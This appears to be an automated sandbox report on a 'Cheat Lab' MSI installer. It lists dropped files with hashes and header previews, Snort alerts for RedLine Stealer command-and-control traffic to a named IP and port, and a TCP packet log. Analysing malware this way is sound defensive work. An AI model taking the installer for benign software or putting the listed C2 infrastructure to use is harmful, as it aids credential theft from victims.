Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................J......J..5.......................J......J......J..........Y..."......".q............."......Rich....................PE..L....<.a.........."......^...........2.......p....@..........................P......".....@.................................0....................................5...V..p....................X.......W..@............p.. ............................text....\.......^.................. ..`.rdata..XA...p...B...b..............@..@.data....6..........................@....rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICA9B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{E0E46653-343B-4459-B5BD-ED25C554CD5C}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1666352704109029
Encrypted:	false
SSDEEP:	12:JSbX72FjF/iAGiLIlHVRp+h/7777777777777777777777777vDHFdpJaN1l0i8Q:JGQI5Wf6yF
MD5:	86F2F4A1E287FA9A743F7D5C8D0C0B2A
SHA1:	C58AA360185A4E9675842E31035EB41C6CF6B062
SHA-256:	A76F203F73DC80093DC8B5D9AFE38E3461E211B4DDB93ABAD3628D7E04F0F637
SHA-512:	EF7C8A3228F3DF4AA6FE0314CA8A11FBFF50B7AFE837640559D3449F7C50D071F8EC6542E6FEAC62398399840F066BAA2A50183E31C644A7D47BAC09179C60A3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5743000234948372
Encrypted:	false
SSDEEP:	48:M8Ph4uRc06WXJIFT51Y8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:jh41rFTrY8Z+eRCg
MD5:	11982618A512C8E47D7898081AA95E75
SHA1:	AAD198CC2CCB213EF05AAD6FD9E32EE257796AC3
SHA-256:	5998C75E73FBC03580D6A93614C37ABBC372B59ACF773A7AE9C3A6FBF0786886
SHA-512:	75D36019BE3A5F956D3808AEBFC963A805DCA689A32D5428482FCE8E13EE0E612DAA32DB82D73F9901815E955065F5460C74B5E1BEE9C0A9B6DB30E3E096F214
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362975409720396
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauK:zTtbmkExhMJCIpEj
MD5:	3E5D91A1B7772A6AE1F58393BC8767B6
SHA1:	EE6EA6874421334A013AA94ECB366C8731FCFA35
SHA-256:	3C30C599A3BDA0EEDD485573F2ABE62023EC6A51031B433104BC8812A19CAEC9
SHA-512:	E80447B01EF3D8BF941BB47BFF7DAC9851E1F17947BDC25066ADA49D7B96052A10CBEC88D9CE0526488BB0D549E3779C6473B398E66B43A91DB12C2AE1D3EB6B
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF008391BD3A0033B5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2605803032877207
Encrypted:	false
SSDEEP:	48:tXwuinO+CFXJNT5LY8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:xwB0lTVY8Z+eRCg
MD5:	CBC05669A53E1BE4EF2B5C35E7970FCD
SHA1:	48091D4E070CCF5A09CD5EAB30056B6AB055C08D
SHA-256:	DC8BF78E6868BF71E01F50A646016C88D130EBE41CCB0A90B8DE7E9CE28F6DC2
SHA-512:	B3044B0F054CBC8E62AEED01F712D1D18F37530D7170FE788EBA39A09BB736DE7E6325EE04F335692352AC1D7CA86127D9FA72A3CAF9E6C71557F4E155F168A6
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF00FEDC4249828AFC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0B7259691E2F4A1A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5743000234948372
Encrypted:	false
SSDEEP:	48:M8Ph4uRc06WXJIFT51Y8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:jh41rFTrY8Z+eRCg
MD5:	11982618A512C8E47D7898081AA95E75
SHA1:	AAD198CC2CCB213EF05AAD6FD9E32EE257796AC3
SHA-256:	5998C75E73FBC03580D6A93614C37ABBC372B59ACF773A7AE9C3A6FBF0786886
SHA-512:	75D36019BE3A5F956D3808AEBFC963A805DCA689A32D5428482FCE8E13EE0E612DAA32DB82D73F9901815E955065F5460C74B5E1BEE9C0A9B6DB30E3E096F214
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF129C3C9D2725936B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.140516324719969
Encrypted:	false
SSDEEP:	48:CSCT4dW9SkdWSdWQSkdWbVAEkrCy9Bo9rt:sH+eRCBrt
MD5:	E16D02E59139A2F9DEE9ACF10EC93D5B
SHA1:	C915DF31C3F21281E6B0BB49D7EB69EA8BF2B720
SHA-256:	30DDCABECE0729E68123FAF8EF1E3A83CD99508A9A0A8864DC40874F76BE0C1C
SHA-512:	9398AD6561FEAD230140A8F8D8C719F785553E503FDA84148E0F4C65A516585EC561C241F0DBCD322C2F0527D23269D24EA7388765CE58D33CF2C7824DB5785E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF457A6AE38D408160.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07348579534889642
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOdpNAUr+crkKVky6l1:2F0i8n0itFzDHFdpJaN1
MD5:	8A0A770E49EBA360B0B897962A0D74F5
SHA1:	7DC7694860DC706C2DA06830BECA2D7A7CDC546A
SHA-256:	55834E41D094529B93680A00C3C323C670D3E8793961E83FEBBF153BACAE22D1
SHA-512:	3A3FD78EA6989809C9F27F14867C356C7B47D4D2F6A2AEE0F03417A179328E56AA2CEAA9E2AB41D5340009C8089DBD4710C373C28A297E137F9C1EBB7C13587C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4B6A6D7286A4BE0A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4F6F4FDE0493A889.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2605803032877207
Encrypted:	false
SSDEEP:	48:tXwuinO+CFXJNT5LY8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:xwB0lTVY8Z+eRCg
MD5:	CBC05669A53E1BE4EF2B5C35E7970FCD
SHA1:	48091D4E070CCF5A09CD5EAB30056B6AB055C08D
SHA-256:	DC8BF78E6868BF71E01F50A646016C88D130EBE41CCB0A90B8DE7E9CE28F6DC2
SHA-512:	B3044B0F054CBC8E62AEED01F712D1D18F37530D7170FE788EBA39A09BB736DE7E6325EE04F335692352AC1D7CA86127D9FA72A3CAF9E6C71557F4E155F168A6
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF809F1352E3BA4490.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5743000234948372
Encrypted:	false
SSDEEP:	48:M8Ph4uRc06WXJIFT51Y8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:jh41rFTrY8Z+eRCg
MD5:	11982618A512C8E47D7898081AA95E75
SHA1:	AAD198CC2CCB213EF05AAD6FD9E32EE257796AC3
SHA-256:	5998C75E73FBC03580D6A93614C37ABBC372B59ACF773A7AE9C3A6FBF0786886
SHA-512:	75D36019BE3A5F956D3808AEBFC963A805DCA689A32D5428482FCE8E13EE0E612DAA32DB82D73F9901815E955065F5460C74B5E1BEE9C0A9B6DB30E3E096F214
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8E46BD75E9388B81.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE59C84A7C8642F07.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF357F0BB97B40BDB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFC7A3695F99FF096.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2605803032877207
Encrypted:	false
SSDEEP:	48:tXwuinO+CFXJNT5LY8hdWQSkdWbVAEkrCy9BoxdW9SkdW/TCS:xwB0lTVY8Z+eRCg
MD5:	CBC05669A53E1BE4EF2B5C35E7970FCD
SHA1:	48091D4E070CCF5A09CD5EAB30056B6AB055C08D
SHA-256:	DC8BF78E6868BF71E01F50A646016C88D130EBE41CCB0A90B8DE7E9CE28F6DC2
SHA-512:	B3044B0F054CBC8E62AEED01F712D1D18F37530D7170FE788EBA39A09BB736DE7E6325EE04F335692352AC1D7CA86127D9FA72A3CAF9E6C71557F4E155F168A6
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {3C7A1E44-AA05-4B3F-B2A1-48DCB7D1B307}, Number of Words: 2, Subject: Cheat Lab, Author: Cheat Lab Inc., Name of Creating Application: Cheat Lab, Template: x64;1033, Comments: This installer database contains the logic and data required to install Cheat Lab., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	7.183219452373841
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	Cheat.Lab.2.7.2.msi
File size:	2'020'352 bytes
MD5:	5395845c70fd2495f0407291be32201c
SHA1:	a76288fe27b9684ed8d141b50aa55437833ed1a2
SHA256:	338f6a75e6e11459a5cedb3a2917f9b3f9fcb4991fec84514692b649393ea3bb
SHA512:	6550ae020f597fbf37fd56582eec4911b2cac7860d510f54c2e68ccc4a3acd4ec04734ba0a683b1b04de15c9832f3f8ce4524c177d8f234aae6a43354b33c71a
SSDEEP:	49152:1VkldbW8zBQSc0ZnSK/uxtZCZKumZrROOsLRTtA:mo0ZnPux4KdsLRTtA
TLSH:	9F95CF217686C437C96E02302A2AD7AB567DBD604B7204DBB3C87E6E2E705C15336F67
File Content Preview:	........................>.......................................................[.......W...............................................,...-......./...0...1...2.......s...t...u...v...w...x...y...z..........................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
91.103.252.48192.168.2.833597497152046056 11/06/23-15:36:09.338589	TCP	2046056	ET TROJAN Redline Stealer Activity (Response)	33597	49715	91.103.252.48	192.168.2.8
192.168.2.891.103.252.4849715335972046045 11/06/23-15:36:01.555640	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	49715	33597	192.168.2.8	91.103.252.48
192.168.2.891.103.252.4849715335972043231 11/06/23-15:36:12.584768	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49715	33597	192.168.2.8	91.103.252.48
91.103.252.48192.168.2.833597497152043234 11/06/23-15:36:01.858290	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	33597	49715	91.103.252.48	192.168.2.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2023 15:35:05.079919100 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:05.231710911 CET	80	49706	208.95.112.1	192.168.2.8
Nov 6, 2023 15:35:05.231791019 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:05.240181923 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:05.392359972 CET	80	49706	208.95.112.1	192.168.2.8
Nov 6, 2023 15:35:05.392462015 CET	49706	80	192.168.2.8	208.95.112.1
Nov 6, 2023 15:35:06.331058025 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:06.671207905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:06.671377897 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:06.671708107 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:06.672602892 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.013633966 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.013649940 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.013664007 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.013676882 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.013691902 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.013747931 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.013850927 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.354831934 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.354852915 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.354965925 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.354974031 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.355123043 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.356291056 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.356363058 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.356364965 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.356441975 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.703980923 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704009056 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704022884 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704035997 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704047918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704058886 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704111099 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:07.704330921 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:07.704554081 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.044529915 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.044560909 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.044728994 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.046158075 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.046288967 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.046801090 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.046909094 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.047975063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.048115015 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.049546957 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.049659014 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.384610891 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.384798050 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.384871960 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.385096073 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.385533094 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.385647058 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.385894060 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.385993004 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.387114048 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.387187958 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.387377977 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.387392998 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.387571096 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.388339043 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.388485909 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.388873100 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.388951063 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.389307022 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.389416933 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.390163898 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.390280008 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.391633987 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.391665936 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.391735077 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.391913891 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.392055035 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.393121004 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.393165112 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.393203020 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.393251896 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.393351078 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.393425941 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.393857002 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.393927097 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.393981934 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.394092083 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.395456076 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.395473003 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.395596981 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.729688883 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.729856968 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.730428934 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.730520010 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.730665922 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.730752945 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.731374979 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.731524944 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.734025002 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.734040976 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.734119892 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.734467030 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.734586000 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.735517025 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.735639095 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.736743927 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.736874104 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.736964941 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737063885 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.737198114 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737226963 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737240076 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737546921 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737560987 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737572908 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737571955 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.737586021 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737597942 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737770081 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.737809896 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.737987041 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.739263058 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.739447117 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.741313934 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.741460085 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.741668940 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.741712093 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.741741896 CET	49708	80	192.168.2.8	193.37.71.112
